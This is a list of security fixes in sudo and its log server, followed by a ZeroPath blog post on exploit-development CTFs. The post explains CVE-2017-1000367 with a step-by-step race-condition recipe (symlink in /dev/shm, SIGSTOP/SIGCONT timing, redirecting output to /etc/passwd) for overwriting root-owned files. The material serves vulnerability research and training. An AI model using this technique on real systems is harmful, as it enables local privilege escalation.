Commit | [25d1f08ff](https://github.com/sudo-project/sudo/commit/25d1f08fffa7d763b88ff79bc45bd6c618385d6e) | | :---- | :---- | | **Subject** | prepare\_listener: initialize sock to \-1 | | **Vulnerable Since** | 1.9.8 | | **Potential Security Impact** | Arbitrary FD Close, DoS | | **Security Issue** | Uninitialized file descriptor variable leading to closing an arbitrary fd. In prepare\_listener(), the sock variable was uninitialized. If an error occurred before sock was assigned a valid socket fd (e.g., during random token generation or socket creation), the error cleanup path would call close(sock) on whatever garbage value happened to be on the stack. This could close an unrelated, legitimate file descriptor belonging to the sudo process, potentially disrupting I/O logging, PTY handling, or other security-critical operations. The fix initializes sock to \-1 so the cleanup path correctly skips the close() call. | #### 2025-11-06: Plaintext listener enabled with TLS builds | Commit | [f764980de](https://github.com/sudo-project/sudo/commit/f764980def4f78ef74bc97718850da770cd6c2b4) | | :---- | :---- | | **Subject** | Only enable plaintext listened by default if not built with TLS support. | | **Vulnerable Since** | 1.9.0 | | **Potential Security Impact** | TLS Downgrade, Information Disclosure | | **Security Issue** | sudo\_logsrvd would accept plaintext (unencrypted) connections by default even when built with TLS support. When no 'listen\_address' was configured, both a plaintext listener on port 30343 and a TLS listener on port 30344 were enabled. This meant that sensitive log data (including command output and credentials) could be transmitted in cleartext over the network if a client connected to the plaintext port, even on deployments where TLS was intended. The fix makes the plaintext listener only enabled by default when TLS support is not compiled in; if TLS is available, only the TLS listener is enabled by default. | #### 2025-11-08: Out-of-bounds read in utmp handling | Commit | [820d0ca5e](https://github.com/sudo-project/sudo/commit/820d0ca5edd5dbdb659f4947068bdd95414a0a8f) | | :---- | :---- | | **Subject** | utmp\_setid: Make sure we don't read past the end of ut\_line | | **Vulnerable Since** | 1.8.1 | | **Potential Security Impact** | Out-of-Bounds Read, Information Disclosure | | **Security Issue** | Out-of-bounds read in utmp\_setid(). The ut\_line field in the utmp structure is a fixed-size character array that is not guaranteed to be NUL-terminated. The code used strlen() on ut\_line, which would read past the end of the buffer into adjacent memory until a NUL byte was found. This could leak sensitive memory contents or cause a crash. The fix replaces strlen() with strnlen() bounded by sizeof(ut\_line) to prevent reading beyond the buffer. | #### 2025-11-08: Incomplete privilege drop in mailer | Commit | [3e474c2f2](https://github.com/sudo-project/sudo/commit/3e474c2f201484be83d994ae10a4e20e8c81bb69) | | :---- | :---- | | **Subject** | exec\_mailer: Set group as well as uid when running the mailer | | **Vulnerable Since** | 1.9.4 | | **Potential Security Impact** | Privilege Escalation, Incomplete Privilege Drop | | **Security Issue** | Incomplete privilege dropping when executing the mailer process. exec\_mailer() called setuid() to drop to the mail user but did not call setgid() or setgroups(), leaving the mailer process running with root's group ID and supplementary groups. This violates the principle of least privilege: the mailer (and any child processes it spawns) retained root group membership, potentially allowing access to group-restricted files. Additionally, failures from setuid() were silently ignored rather than being treated as fatal, so the mailer could continue running as root if privilege dropping failed. | #### 2025-11-08: FD leak in UUID storage | Commit | [658bbc4af](https://github.com/sudo-project/sudo/commit/658bbc4af983d78e0dd3e24af60719571d142ca9) | | :---- | :---- | | **Subject** | iolog\_store\_uuid: Fix file descriptor leak on success | | **Vulnerable Since** | unreleased (post-1.9.17p2) | | **Potential Security Impact** | DoS, FD Exhaustion | | **Security Issue** | File descriptor leak in iolog\_store\_uuid() in the logsrvd I/O log writer. On the success path, the function opened a file descriptor to write UUID data but never closed it. Over time, with many log server connections, this would exhaust available file descriptors, leading to denial of service as the log server could no longer open files or accept connections. | #### 2025-11-08: FD leak on I/O log setup failure | Commit | [ba1d5b77c](https://github.com/sudo-project/sudo/commit/ba1d5b77ce3a3c5f23ac77f77654de4ac6b2d4f3) | | :---- | :---- | | **Subject** | sudoers\_io\_open\_local: Close iolog\_dir\_fd and iolog\_files\[\] on error | | **Vulnerable Since** | 1.9.0 | | **Potential Security Impact** | DoS, FD Exhaustion | | **Security Issue** | File descriptor leak on error paths in sudoers\_io\_open\_local(). When I/O logging setup failed partway through (e.g., after opening the iolog directory fd or creating some iolog files), the function returned an error without closing iolog\_dir\_fd or any already-opened iolog\_files\[\] entries. Repeated failures would leak file descriptors, eventually exhausting the process's fd limit and causing denial of service or preventing subsequent I/O logging from functioning. | #### 2025-11-09: Audit log FD inherited by child processes | Commit | [a24c73621](https://github.com/sudo-project/sudo/commit/a24c73621d0d13976c6c6bfa5d02273dbf4c5ce1) | | :---- | :---- | | **Subject** | audit\_json\_open: Set the close-on-exec flag for the JSON audit fd | | **Vulnerable Since** | 1.9.0 | | **Potential Security Impact** | FD Leak to Child, Audit Tampering, Information Disclosure | | **Security Issue** | The JSON audit log file descriptor was not marked close-on-exec (FD\_CLOEXEC). When sudo executes a child command, the open audit log file descriptor would be inherited by the child process. This could allow the executed command to write to or read from the audit log file, potentially tampering with audit records or leaking sensitive information about other sudo sessions recorded in the same file. | #### 2025-11-09: LDAP credentials written to debug log | Commit | [d83714aac](https://github.com/sudo-project/sudo/commit/d83714aac0829ec4ce4df32b7d4eabc5bb3a288a) | | :---- | :---- | | **Subject** | Do not log LDAP bindpw or tls\_keypw to debug log. | | **Vulnerable Since** | 1.8.7 | | **Potential Security Impact** | Credential Exposure | | **Security Issue** | Sensitive LDAP credentials (bind password and TLS key password) were written in cleartext to the debug log. The LDAP bind password (bindpw) was logged verbatim via DPRINTF1, and the decoded secret returned by sudo\_ldap\_decode\_secret() was also returned through debug\_return\_str which logs the return value. Anyone with read access to the debug log file could obtain the LDAP bind credentials, potentially allowing unauthorized access to the LDAP directory. The fix masks the password in debug output and replaces the cleartext value with '\*\*\*\*\*\*\*\*'. | #### 2025-11-11: Dangling pointer in eventlog struct | Commit | [b48fd11e3](https://github.com/sudo-project/sudo/commit/b48fd11e3945080cdbf0ee6df99c40ef69bc1c75) | | :---- | :---- | | **Subject** | Embed struct eventlog into struct log\_details instead of using a pointer. | | **Vulnerable Since** | 1.9.4 | | **Potential Security Impact** | Use-After-Free, Information Disclosure | | **Security Issue** | Use-after-free / dangling pointer risk in struct log\_details. The evlog field was a pointer (struct eventlog \*) that in some code paths was set to point to a stack-allocated or function-scoped struct eventlog via shallow copy, while in other paths it pointed to heap-allocated memory. After the function that set the pointer returned, the pointer could become dangling if the original eventlog went out of scope. Accessing log\_details.evlog after the originating function returned could read freed or reused stack memory, potentially leaking sensitive data or causing corruption. The fix embeds the struct directly, ensuring the data is copied by value and persists for the lifetime of log\_details. | #### 2025-11-11: Path traversal via unsanitized log paths | Commit | [186f94507](https://github.com/sudo-project/sudo/commit/186f94507f1222f8b21349f4c91c5d5e810fa872) | | :---- | :---- | | **Subject** | Replace '/' with '\_' in paths using the user, group, host or command. | | **Vulnerable Since** | 1.9.0 | | **Potential Security Impact** | Path Traversal, Arbitrary File Write, RCE | | **Security Issue** | Path traversal vulnerability in I/O log path construction on the logsrvd server. When constructing I/O log directory paths, user-controlled values (username, group, hostname, command name) were interpolated directly into file paths without sanitizing '/' characters. A malicious user or hostname containing '/' (e.g., a username like '../../etc') could escape the intended log directory and write I/O log files to arbitrary locations on the filesystem. The fix replaces '/' with '\_' in these interpolated values and uses only the basename for command expansion. | #### 2025-11-11: Directory traversal via '..' in log paths | Commit | [4bd549d7f](https://github.com/sudo-project/sudo/commit/4bd549d7f41c7d3a0365f35b43f8bbf40a3a2821) | | :---- | :---- | | **Subject** | Check for embedded ".." in the expanded I/O log dir and file. | | **Vulnerable Since** | 1.9.0 | | **Potential Security Impact** | Path Traversal, Arbitrary File Write, RCE | | **Security Issue** | Path traversal vulnerability in sudo logsrvd I/O log path handling. When expanding the I/O log directory and file paths (via expand\_iolog\_path), the resulting strings were not checked for '..' path components. A malicious client or crafted configuration could inject '..' sequences into path variables used during expansion, allowing the log server to write I/O log files to arbitrary locations outside the intended log directory. This could be used to overwrite sensitive files on the system running logsrvd. | #### 2025-11-11: Queue errors ignored after daemonizing | Commit | [fbd0e2254](https://github.com/sudo-project/sudo/commit/fbd0e22545c977989bb3a79be59d9054108d933a) | | :---- | :---- | | **Subject** | Scan the outgoing queue and setup associated events before daemonizing. | | **Vulnerable Since** | 1.9.7 | | **Potential Security Impact** | Audit Evasion, Silent Failure | | **Security Issue** | Failure to validate the outgoing relay queue before daemonizing in logsrvd. The logsrvd\_queue\_scan() call occurred after daemonize(), meaning errors during queue initialization (e.g., malformed queue entries, corrupted journal files) would go undetected since the daemon had already detached from the terminal and the parent process had exited successfully. Additionally, the return value of logsrvd\_queue\_scan() was never checked. This could allow the daemon to run in a broken state, silently failing to relay queued log messages and potentially losing audit data. | #### 2025-11-11: Relay falls back to wrong TLS context | Commit | [ddb9cfef5](https://github.com/sudo-project/sudo/commit/ddb9cfef517e8604e81a945a6c74ada7ffc304c9) | | :---- | :---- | | **Subject** | logsrvd\_relay\_tls\_ctx: Do not fall back on server TLS context | | **Vulnerable Since** | 1.9.7 | | **Potential Security Impact** | TLS Downgrade, MITM | | **Security Issue** | TLS context confusion in logsrvd relay configuration. When a relay was configured without its own TLS settings, logsrvd\_relay\_tls\_ctx() would fall back to using the main server's TLS context. The server TLS context may have different certificate verification settings, trusted CA chains, or cipher requirements than what is appropriate for the relay connection. This could cause the relay to connect to an upstream server using unintended or weaker TLS credentials/verification, potentially allowing man-in-the-middle attacks or connections to untrusted relay targets. | #### 2025-11-11: Stale journal path after fdopen failure | Commit | [61c5a99f7](https://github.com/sudo-project/sudo/commit/61c5a99f735ec74f7e004cb01614ae8c91a81c9e) | | :---- | :---- | | **Subject** | journal\_fdopen: free closure-\>journal\_path on fdopen() error | | **Vulnerable Since** | 1.9.7 | | **Potential Security Impact** | Use-After-Free, Audit Evasion, Memory Leak | | **Security Issue** | Resource leak and stale state after fdopen() failure in logsrvd journal handling. When fdopen() failed on the journal file descriptor, closure-\>journal\_path was not freed or set to NULL. Since other parts of logsrvd check closure-\>journal\_path to determine whether journaling is active, the stale non-NULL pointer would cause the code to incorrectly believe journaling was in progress. This could lead to use-after-free or operations on invalid file handles, potentially causing crashes, log data corruption, or missed audit records. | #### 2025-11-11: I/O log write failures silently ignored | Commit | [c3975e568](https://github.com/sudo-project/sudo/commit/c3975e56867549a6c7cb5724b30c1344b7c97692) | | :---- | :---- | | **Subject** | iolog\_write() returns \-1 on failure, not false. | | **Vulnerable Since** | 1.9.0 | | **Potential Security Impact** | Audit Evasion, Silent Failure | | **Security Issue** | Incorrect error checking for iolog\_write() return value in logsrvd. The code used boolean-style '\!iolog\_write(...)' checks, treating the return value as true/false. However, iolog\_write() returns \-1 on failure (not 0/false). Since \-1 is truthy in C (non-zero), the error condition was never detected. This meant I/O log write failures were silently ignored, allowing the log server to continue without recording command input/output data, effectively losing audit trail data critical for security monitoring and forensics. | #### 2025-11-12: Arbitrary signal names in suspend messages | Commit | [4ed05da3b](https://github.com/sudo-project/sudo/commit/4ed05da3b83b1d075a31bbb4cfebb058406a9828) | | :---- | :---- | | **Subject** | handle\_suspend: Only allow STOP, TSTP, CONT, TTIN, TTOU signals | | **Vulnerable Since** | 1.9.0 | | **Potential Security Impact** | Log Injection, Input Validation | | **Security Issue** | Insufficient validation of signal names in CommandSuspend messages in logsrvd. The handle\_suspend() function only checked that the signal string was non-empty, but did not validate that it was one of the legitimate job-control signals (STOP, TSTP, CONT, TTIN, TTOU). A malicious sudo client could send a CommandSuspend message with an arbitrary signal name, which would then be logged and potentially processed downstream. This could be used for log injection/spoofing (injecting misleading audit data) or to trigger unexpected behavior in log consumers that parse the signal name field. | #### 2025-11-12: Negative snprintf return unchecked | Commit | [dfa1434c6](https://github.com/sudo-project/sudo/commit/dfa1434c6edd1a78b1aa2b98c70742b7bccb515f) | | :---- | :---- | | **Subject** | logsrvd\_queue\_scan: check for snprintf() return value \< 0 | | **Vulnerable Since** | 1.9.7 | | **Potential Security Impact** | Buffer Underflow, Out-of-Bounds Access | | **Security Issue** | Missing check for snprintf() encoding error in logsrvd\_queue\_scan(). The code only checked if snprintf() returned a value \>= the buffer size (truncation), but did not check for a return value \< 0, which indicates an encoding error. On encoding error, snprintf() returns a negative value, which when compared to the buffer size as a signed value would pass the truncation check, leaving 'dirlen' set to a negative number. This negative dirlen could then be used in subsequent operations (e.g., path manipulation), leading to buffer underflows, out-of-bounds memory access, or path construction errors. | #### 2025-11-12: SSL wrapper returns wrong values on error | Commit | [59afb334f](https://github.com/sudo-project/sudo/commit/59afb334f9536c0df81e45d4b1a922558fcbbd6f) | | :---- | :---- | | **Subject** | Make SSL\_read\_ex and SSL\_write\_ex wrappers set number of bytes on failure. | | **Vulnerable Since** | 1.9.15 | | **Potential Security Impact** | Uninitialized Memory Read, TLS Protocol Error | | **Security Issue** | The SSL\_read\_ex() and SSL\_write\_ex() compatibility wrappers did not match the OpenSSL API contract. On error, the real OpenSSL functions set \*readbytes/\*written to 0 and return 0, but these wrappers returned the raw negative SSL\_read()/SSL\_write() return value (e.g., \-1) directly. Callers expecting the standard API behavior (return 0 on failure, 1 on success) would misinterpret \-1 as a truthy success value, causing them to proceed as if the TLS operation succeeded. Additionally, the \*readbytes/\*written output parameters were left uninitialized on error, so callers could read garbage values as the byte count, leading to processing of uninitialized memory or incorrect buffer advancement in TLS communication. | #### 2025-11-12: Short reads accepted as complete records | Commit | [3c78d0876](https://github.com/sudo-project/sudo/commit/3c78d087684a91af812a74b737331ccc1bc7dead) | | :---- | :---- | | **Subject** | read\_io\_buf: Treat a short read as an error | | **Vulnerable Since** | 1.9.15 | | **Potential Security Impact** | Audit Evasion, Data Integrity | | **Security Issue** | Short reads from I/O log files were silently accepted in sendlog's read\_io\_buf(). The code only checked for iolog\_read() returning \-1 (error), but if iolog\_read() returned fewer bytes than expected (a short read), the function would treat the partial data as a complete record and send it to the log server. This could result in truncated or corrupted I/O log data being transmitted, undermining the integrity of the audit trail. An attacker who could truncate log files on disk could exploit this to cause incomplete audit records to be relayed without any error being raised. | #### 2025-11-13: Missing required field checks in JSON parser | Commit | [a8546ab2c](https://github.com/sudo-project/sudo/commit/a8546ab2c3f8193d6c6fa878aa738a72d17926a1) | | :---- | :---- | | **Subject** | iolog\_parse\_loginfo\_json: Add check for required eventlog entries | | **Vulnerable Since** | 1.9.0 | | **Potential Security Impact** | NULL Pointer Dereference, DoS | | **Security Issue** | The I/O log JSON parser (iolog\_parse\_loginfo\_json) did not validate that required fields (command, cwd, runargv, runuser, submituser, ttyname) were present in the parsed eventlog structure. A maliciously crafted or corrupted log.json file missing these fields could cause NULL pointer dereferences in downstream code that assumes these fields are always populated after a successful parse. | #### 2025-11-13: NULL deref in TLS peer verification | Commit | [3226ef7b3](https://github.com/sudo-project/sudo/commit/3226ef7b3d66097d3432d2a49915b3fc457203dd) | | :---- | :---- | | **Subject** | verify\_peer\_identity: Check for missing application specific data. | | **Vulnerable Since** | 1.9.0 | | **Potential Security Impact** | TLS Verification Bypass, MITM, DoS | | **Security Issue** | The TLS peer certificate verification callback (verify\_peer\_identity) did not check whether SSL\_get\_ex\_data() and X509\_STORE\_CTX\_get\_ex\_data() returned NULL before dereferencing the returned pointers to access peer\_info/closure data (hostname, IP address). If the application-specific data was missing from the SSL object, this would result in a NULL pointer dereference. In the worst case, a crafted TLS connection could bypass hostname verification if the callback crashed rather than returning a verification failure, potentially allowing a man-in-the-middle attack. | #### 2025-11-13: Re-initialization after partial failure | Commit | [fd4b369d7](https://github.com/sudo-project/sudo/commit/fd4b369d7522e86479b2d30dfc4f75095d6c9ef5) | | :---- | :---- | | **Subject** | sudoers\_init: initialize ret to 0, not \-1 | | **Vulnerable Since** | 1.9.1 | | **Potential Security Impact** | Inconsistent State, Double Initialization | | **Security Issue** | The sudoers\_init() function used a static variable 'ret' initialized to \-1 and checked 'if (snl \!= NULL)' to prevent re-initialization. If initialization failed partway through (before snl was set), the function would attempt to re-initialize on subsequent calls, potentially re-executing partially completed setup code in an inconsistent state. Early error returns also bypassed cleanup code. The fix initializes ret to 0 and uses 'ret \!= 0' as the re-initialization guard, ensuring that both successful initialization (ret=1) and failed initialization (ret=-1) prevent re-entry, and routes all error paths through a common cleanup label. | #### 2025-11-14: Listeners dropped during config reload | Commit | [b040db2be](https://github.com/sudo-project/sudo/commit/b040db2be79b635c72e7c8b63a2190cd6c181c94) | | :---- | :---- | | **Subject** | server\_setup: preserve old listener if it matches the new config | | **Vulnerable Since** | 1.9.0 | | **Potential Security Impact** | DoS | | **Security Issue** | During a sudo\_logsrvd configuration reload (SIGHUP), server\_setup() unconditionally closed all existing listener sockets and reopened them. This created a race condition window where no listeners were active, causing a denial of service for incoming connections. More critically, under resource starvation conditions (e.g., file descriptor exhaustion), the server could fail to reopen sockets that were previously working, resulting in a permanent denial of service where the log server becomes completely unreachable. The fix preserves existing listeners whose addresses match the new configuration, only closing sockets that are no longer needed. | #### 2025-11-14: Server crashes on allocation failure | Commit | [c69f90259](https://github.com/sudo-project/sudo/commit/c69f902590c711829f23fa978a65e60a2b500eea) | | :---- | :---- | | **Subject** | register\_listener: don't exit on failure, just return false | | **Vulnerable Since** | 1.9.0 | | **Potential Security Impact** | DoS | | **Security Issue** | The register\_listener() function in sudo\_logsrvd called sudo\_fatalx() (which terminates the process) on memory allocation failures when creating listener structures or event objects. This meant that a transient memory pressure condition during listener registration (especially during a config reload) would crash the entire log server daemon, causing a denial of service for all sudo logging. The fix changes fatal errors to non-fatal warnings that return false, allowing the server to continue operating with the listeners it was able to create. | #### 2025-11-15: Unvalidated TimeSpec from client messages | Commit | [a257a7dd1](https://github.com/sudo-project/sudo/commit/a257a7dd192f3f86c595e9fa4d6de01803129c00) | | :---- | :---- | | **Subject** | Validate a TimeSpec before using it. | | **Vulnerable Since** | 1.9.0 | | **Potential Security Impact** | Integer Overflow, Input Validation | | **Security Issue** | The sudo\_logsrvd server accepted TimeSpec values from client messages (RestartMessage, IoBuffer, ChangeWindowSize, CommandSuspend) without validating that tv\_sec and tv\_nsec were non-negative and that tv\_nsec was less than 1,000,000,000. A malicious client could send crafted protobuf messages with negative or out-of-range TimeSpec values, leading to undefined behavior in timespec arithmetic, potential integer overflows, or incorrect I/O log timing/replay behavior. | #### 2025-11-15: NULL deref in journal seek | Commit | [353df3965](https://github.com/sudo-project/sudo/commit/353df3965d7cab763022957fb04488a5c2f7462c) | | :---- | :---- | | **Subject** | journal\_seek: Sanity journaled message field before using | | **Vulnerable Since** | 1.9.7 | | **Potential Security Impact** | NULL Pointer Dereference, DoS | | **Security Issue** | The journal\_seek() function in sudo\_logsrvd's journal replay code dereferenced message union fields (ttyin\_buf, ttyout\_buf, stdin\_buf, stdout\_buf, stderr\_buf, winsize\_event, suspend\_event) and their delay sub-fields without checking for NULL. If a journal file was corrupted or maliciously crafted with invalid protobuf messages, this could cause NULL pointer dereferences when seeking through the journal. The fix adds NULL checks and TimeSpec validation for each message type before accessing the delay field, preventing crashes from corrupted journal files. | #### 2025-11-27: TLS failure kills entire relay event loop | Commit | [e89bb8118](https://github.com/sudo-project/sudo/commit/e89bb8118024c2123ed78f49efa06310e762338e) | | :---- | :---- | | **Subject** | Add TLS connection error callback function. | | **Vulnerable Since** | 1.9.7 | | **Potential Security Impact** | DoS, Audit Evasion, Memory Leak | | **Security Issue** | When a TLS handshake failed in sudo\_logsrvd's relay mode, the error path in tls\_connect\_cb() unconditionally called sudo\_ev\_loopbreak(), which broke out of the event loop entirely. For the relay use case, a single TLS negotiation failure with one relay server would prevent logsrvd from trying alternative relay servers configured in the relay list, effectively causing a denial of service for log forwarding. Additionally, tls\_ctx\_client\_setup() did not free a previous SSL object before allocating a new one, causing a memory leak on reconnection attempts. The fix adds a configurable error callback so relay mode can attempt the next relay server on TLS failure. | #### 2025-12-26: Read error ignored in visudo | Commit | [a642d9802](https://github.com/sudo-project/sudo/commit/a642d9802d94b05ed7f79ec71e1eda56822d1a16) | | :---- | :---- | | **Subject** | edit\_sudoers: Check for read() error | | **Vulnerable Since** | 1.8.0 | | **Potential Security Impact** | Access Control Bypass, Data Integrity | | **Security Issue** | In visudo's edit\_sudoers() function, the return value of read() was not checked for \-1 (error). A read error (e.g., from a disk I/O failure) would cause nread to be \-1 and the loop to exit, but the code would then proceed to process the incompletely-read sudoers file content as if it were valid. This could result in a truncated or partially-read sudoers file being accepted by visudo, potentially removing security-critical access control rules that appeared after the point of the read failure. | --- #### ZeroPath Exploit Development CTFs - **Date**: March 2, 2026 - **Authors**: John Walker - **Reading Time**: 7 minutes - **Keywords**: CTF, exploit development, CVE, vulnerability research, shapeshifter, ZeroPath, security training, CISA KEV, capture the flag, synthetic vulnerabilities - **URL**: https://zeropath.com/blog/zeropath-exploit-development-ctfs Learn to exploit complex real-world vulnerabilities with zeropath-ctf, a set of self-contained exploit development exercises based on CVEs from the CISA Known Exploited Vulnerabilities list, powered by ZeroPath's shapeshifter vulnerability generation suite. --- # ZeroPath Exploit Development CTFs ## Introduction Want to learn how to exploit complex real world vulnerabilities, but aren’t sure where to start? We’ve just released [zeropath-ctf](https://github.com/ZeroPathAI/zeropath-ctf), a set of self-contained exploit development exercises based on CVEs from the CISA Known Exploited Vulnerabilities list, along with hints and solutions in case you get stuck.
Launching a CTF for CVE-2017-1000367
Launching a CTF for CVE-2017-1000367
## Background Our CTFs try to walk a middle course between two bad alternatives: On the one hand, diving right into checking out large open source projects with known vulnerabilities can be daunting for a beginner… hundreds of thousands of lines of irrelevant code, hours invested getting the application built, configured and running in a sandbox in just the right way, all to try to develop an exploit without a lot of reliable, distilled guidance. On the other, intentionally vulnerable apps or toy vulnerabilities tend to lack the complexity and subtlety of real vulnerabilities… developing exploits for them is easy, but you’re not exercising all the muscles you need to do it for real. To solve this problem ZeroPath’s shapeshifter vulnerability generation suite analyzes real world vulnerabilities and produces standalone synthetic lookalikes that prove-ably contain the same key flaws and structure, along with working exploits and walkthroughs for both LLM and human consumption. We’ve used shapeshifter to create CTFs for 10 CVEs, including well-known issues like Baron Samedit, and a range of flaw types, like heap overflows, command injections and TOCTOU race conditions. Each one is packaged in a docker image with a harness around it to verify solutions and walk you through the process of developing your exploit. ## Video Walkthrough This video walks you through the core functionality of the CTF suite: If you’d prefer written instructions, our [README.md](https://github.com/ZeroPathAI/zeropath-ctf/blob/main/README.md) is a good starting point. ## Technology Behind the CTFs ### Overview These CTFs are only useful if shapeshifter-produced vulnerabilities do in fact mirror the key structure of the real world vulnerabilities they’re based on. In future posts, we’ll go into more detail about how we verify this, and how we apply these synthetic vulnerabilities to benchmarking SAST solutions at scale. Here, we’ll do a quick walkthrough of the original issue one of the synthetics is based on, highlighting the key points of similarity. ### CVE-2017-1000367 #### Overview CVE-2017-1000367 is a well-known issue in sudo. It’s a little more complex than many demo vulnerabilities so, it’s a perfect one to dive deeper with to understand how shapeshifter preserves the complexity that matters while still distilling the vuln down to its essence. The heart of the bug is two flaws – one involving improper parsing of user input and another involving trusting devices in world-writable directories, stacked with two exploitable race conditions. #### Flaw 1: Unsafe parsing of user-provided input The first bug that contributes to the vulnerability is in sudo\_ttyname\_dev(), which runs at application startup. This function opens /proc/\/stat, which is a simple text file, and tries to parse it to get the current tty number. Everything starts in \`get\_process\_ttyname()\` (\`src/ttyname.c:479\`). On Linux, sudo reads \`/proc/\[pid\]/stat\` to discover its controlling terminal's device number. This file looks like: ``` 1234 (bash) S 1233 1234 1234 34818 1234 ... ``` The fields are space-separated, and field 7 is \`tty\_nr\`. The parser counts spaces to find it: ```c // src/ttyname.c:497-504 char *cp = line; char *ep = line; int field = 0; while (*++ep != '\0') { if (*ep == ' ') { *ep = '\0'; if (++field == 7) { dev_t tdev = strtonum(cp, INT_MIN, INT_MAX, &errstr); ``` The bug: field 2 (comm) is the process name in parentheses. This doesn’t seem like user-controlled input, but it is: the attacker can launch the process using a symlink, and the name of that symlink will become the process name. If the symlink is named "\34873 ", the stat line becomes: ``` 1234 ( 34873 ) S 1233 1234 1234 34818 ... ^ spaces inside comm ^ ``` The naive space-counting parser hits the spaces inside the parentheses, treats them as field separators and incorrectly reads 34873 as tty\_nr – the attacker's chosen device number instead of the real value (34818). In our synthetic vuln, this flaw is reproduced in “get\_serial\_port()”: ```c static char * get_serial_port(const char *status_path, char *name_out, size_t name_sz) { // ... char *cp = line; char *ep = line; int field = 0; while (*++ep != '\0') { /* ← VULNERABLE PARSER */ if (*ep == ' ') { *ep = '\0'; if (++field == 7) { /* Extract device number */ ``` #### Flaw 2: Scanning all of /dev/ including world-writable directories Spoofing a TTY by itself doesn’t seem very useful, but another flaw and two race conditions make it much more interesting. The second mistake occurs when sudo tries to open the relevant tty device file – starting by passing spoofed device number 34873 into sudo\_ttyname\_dev() (src/ttyname.c:317). This function initially tries a fast path — it extracts the minor number and constructs a standard tty device file path directly: ```c // src/ttyname.c:332-347 if (strcmp(devname, "/dev/pts/") == 0) { (void)snprintf(buf, sizeof(buf), "%spts/%u", _PATH_DEV, (unsigned int)minor(rdev)); if (stat(buf, &sb) == 0) { if (S_ISCHR(sb.st_mode) && sb.st_rdev == rdev) { // Match! Return this path. ``` 34873 decodes to major 136, minor 57 (since dev\_t \= major \* 256 \+ minor on Linux). So sudo constructs /dev/pts/57 and stat()s it. The attacker ensures this PTY does not exist yet, so stat() fails. Having exhausted the fast paths, sudo falls through to a breadth-first scan of the entire /dev/ tree: ```c // src/ttyname.c:372 ret = sudo_ttyname_scan(_PATH_DEV, rdev, false, name, namelen); ``` This scan walks every subdirectory under /dev/… critically including /dev/shm/, which is a world-writable tmpfs. Also,it follows symlinks (using stat(), not lstat()) and matches any character device whose st\_rdev equals the target: ```c // src/ttyname.c:248,284 if (stat(pathbuf, &sb) == -1) continue; ... if (S_ISCHR(sb.st_mode) && sb.st_rdev == rdev) { // Found it — store pathbuf as the tty name strlcpy(name, pathbuf, namelen); ``` The attacker has prepared a symlink at /dev/shm/\_tmp/\_tty pointed to the correct pts device ( /dev/pts/57). Since stat() follows symlinks, if /dev/pts/57 exists at the moment of the check, the symlink resolves to a character device with st\_rdev \== 34873, and sudo accepts /dev/shm/\_tmp/\_tty as its tty name. At this point, sudo has mis-parsed malicious user input and selected a user-controlled symlink as the device to send its output to… however, actually doing anything useful with the issue involves taking advantage of two race conditions. ##### Race condition 1: Making the PTY appear during the scan The problem is timing. During the fast-path check, /dev/pts/57 must not exist (so sudo falls through to the scan paths like /dev/shm). During the broader scan, it must exist (so that sudo will accept the attacker-controlled symlink to it as a valid device). The attacker can make this easier on themselves using signals: 1. The attacker sets up inotify on /dev/shm/\_tmp/, watching for IN\_OPEN 2. Sudo unsuccessfully tries to open /dev/pts/57 3. Sudo proceeds to do its broader search across /dev for the tty 4. When sudo\_ttyname\_scan() calls opendir("/dev/shm/\_tmp/"), the inotify fires 5. The attacker sends SIGSTOP to the sudo process, freezing it mid-scan. (Permitted because the user spawned sudo themselves) 6. The attacker calls openpty() in a loop until the kernel allocates /dev/pts/57, making the their symlink point to a real device 7. The attacker sends SIGCONT to resume sudo Sudo's scan now continues. It reads the \_tty directory entry, calls stat() on the symlink, follows it to the now-existing /dev/pts/57, sees S\_ISCHR and st\_rdev \== 34873, and concludes: “my tty is /dev/shm/\_tmp/\_tty.”
Key steps in exploiting the first race
Key steps in exploiting the first race
##### Race condition 2: Swapping the symlink before relabel\_tty() opens it We still don’t have anything terribly useful at this point though. We’ve just jumped through many hoops to have sudo send its output to a real pty. This is where the second race condition comes in – we need to swap out the destination of the symlink after sudo has fully verified it points to a real tty but before it actually starts sending output to it. The tty path flows from get\_process\_ttyname() through to selinux\_setup() (src/selinux.c:322), which passes it to relabel\_tty(). When the \-r role flag is used (triggering SELinux RBAC), relabel\_tty() opens the tty path by name: ```c // src/selinux.c:162-163 if (ptyfd == -1) { se_state.ttyfd = open(ttyn, O_RDWR|O_NOCTTY|O_NONBLOCK); And later, redirects stdin/stdout/stderr to it: // src/selinux.c:218-219 for (fd = STDIN_FILENO; fd <= STDERR_FILENO; fd++) { if (isatty(fd) && dup2(se_state.ttyfd, fd) == -1) { ``` Between the scan resolving the name and relabel\_tty() opening it, there's a window. The attacker exploits it: 1. Monitor /dev/shm/\_tmp/ for IN\_CLOSE\_NOWRITE — this fires when the scan's stat() closes 2. SIGSTOP sudo again 3. Replace the symlink: /dev/shm/\_tmp/\_tty now points to /etc/passwd (or any target file) instead of /dev/pts/57 4. SIGCONT sudo Sudo calls open("/dev/shm/\_tmp/\_tty", O\_RDWR) — but the symlink now points to /etc/passwd. The open() succeeds (sudo is running as root), and dup2() redirects the command's stdout to the target file. The attacker can now overwrite arbitrary root-owned files with command output.
Key steps in exploiting the second race
Key steps in exploiting the second race
#### Flaw and race conditions in the synthetic vuln The synthetic vulnerability includes the same broad search for a tty device file in /dev, including /dev/shm, and the same race conditions. ```c static char * find_serial_dev(dev_t rdev, char *name_out, size_t name_sz) { // First tries /dev/pts/ like sudo does // if that fails, invokes the broader search: ret = scan_device_dir(buf, rdev, 0, name_out, name_sz); /// ... static char * scan_device_dir(const char *dir, dev_t rdev, int is_known, char *name_out, size_t name_sz) { // ... // like sudo, scan_device_dir uses stat to examine potential devices // which follows symlinks ​​ if (stat(pathbuf, &sb) == -1) // .. // also like sudo, scan_device_dir verifies that the file is in fact // the expected device if (S_ISCHR(sb.st_mode) && sb.st_rdev == rdev) { ``` These are all the conditions that allow an exploit developed against the real CVE-2017-1000367 to work against this synthetic with minimal modification: * User-controlled input is mis-parsed in the same way * That input is used to look for an invalid tty in a known location * A broader search for the tty descends /dev/shm in the same way * That broader search verifies that the fake tty is the right device (missing that it’s a symlink) * The device is then actually opened and used well after the check ## Conclusion Our free [zeropath-ctf](https://github.com/ZeroPathAI/zeropath-ctf) repository contains ten playable exploit development CTFs, including one for CVE-2017-1000367. These CTFs leverage synthetic lookalikes of the real vulnerabilities, reducing complexity without losing the essential shape of the flaw, and are coupled with walkthroughs and example, working POCs. Hopefully, this is a fun and useful resource for people out there interested in leveling up 